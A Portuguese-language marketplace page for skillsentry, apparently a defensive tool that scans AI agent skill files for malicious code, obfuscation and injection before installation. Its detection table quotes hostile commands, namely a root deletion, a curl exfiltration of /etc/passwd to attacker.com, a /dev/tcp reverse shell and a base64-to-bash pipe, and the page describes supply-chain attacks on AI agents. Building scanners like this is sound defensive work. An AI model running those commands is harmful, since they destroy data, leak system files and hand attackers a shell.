SEKIRO009/skillsentry

Detecte códigos maliciosos e riscos de segurança em arquivos de habilidades de IA antes da instalação para proteger agentes de IA contra ameaças ocultas e técnicas de ofuscação.

O que é skillsentry?

O SEKIRO009/skillsentry é uma habilidade especializada em segurança para agentes de IA (como Claude Code, Cursor e Codex) que permite a varredura de arquivos de habilidades (*.md, scripts, configurações) em busca de código malicioso, injeções, ofuscação e outras ameaças antes da instalação. Ele usa heurísticas e padrões de detecção para identificar riscos como comandos de shell perigosos, tentativas de exfiltrar dados, backdoors e técnicas de encobrimento. A ferramenta é útil para desenvolvedores e agentes de IA que precisam auditar habilidades de terceiros ou desconhecidas, prevenindo ataques à cadeia de suprimentos. Suporta múltiplas plataformas de agentes e pode ser integrada em fluxos de CI/CD ou usada manualmente para garantir que apenas habilidades seguras sejam carregadas no ambiente do agente.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add SEKIRO009/skillsentry

Installed? Explore more Programação e Desenvolvimento skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

O que skillsentry faz?

Detecte códigos maliciosos e riscos de segurança em arquivos de habilidades de IA antes da instalação para proteger agentes de IA contra ameaças ocultas e técnicas de ofuscação.

Visão Geral

O skillsentry verifica arquivos de habilidades (como SKILL.md) em busca de padrões suspeitos, comandos perigosos e ofuscação. Ele ajuda a evitar que agentes de IA executem código malicioso inadvertidamente.

Funcionalidades

  • Detecção de comandos perigosos: Identifica comandos shell como rm -rf /, curl para IPs estranhos, base64 decoding suspeito, etc.
  • Análise de ofuscação: Detecta técnicas como codificação em Base64, XOR, strings codificadas e scripts minificados com intenção maliciosa.
  • Varredura de injeção: Verifica por injeções de código em markdown, YAML e outros formatos.
  • Suporte a múltiplos formatos: Funciona com arquivos .md, .yaml, .json, .sh, .py e outros.
  • Modo integrado: Pode ser usado como uma etapa de pré-instalação no seu agente de IA.

Como Usar

Instalação

Clone o repositório e instale as dependências (se houver):

git clone https://github.com/SEKIRO009/skillsentry.git
cd skillsentry
pip install -r requirements.txt  # se aplicável

Execução Manual

Para verificar um arquivo de habilidade:

python skillsentry.py --file caminho/para/SKILL.md

Para verificar um diretório inteiro:

python skillsentry.py --dir ./skills/

Integração com Claude Code / Cursor

Adicione as seguintes instruções ao seu agente para usar o skillsentry automaticamente antes de instalar novas habilidades:

Antes de instalar qualquer nova habilidade de terceiros, execute skillsentry no arquivo SKILL.md correspondente. Se forem encontrados riscos altos ou críticos, rejeite a instalação e informe o usuário.

Exemplos de Detecção

RiscoExemplo de PadrãoSeveridade
Comando destrutivorm -rf /Crítico
Exfiltração de dadoscurl -d @/etc/passwd attacker.comCrítico
Shell reversobash -i >& /dev/tcp/...Crítico
Ofuscação com Base64echo <base64> | base64 -d | bashAlto
Injeção de códigoCódigo dentro de bloco de código markdown não esperadoMédio

Contribuição

Contribuições são bem-vindas! Sinta-se à vontade para abrir issues ou pull requests para melhorar as regras de detecção.

Aviso

Esta ferramenta é fornecida "como está", sem garantias. Sempre revise manualmente habilidades de fontes não confiáveis.

Licença

MIT

Habilidades Relacionadas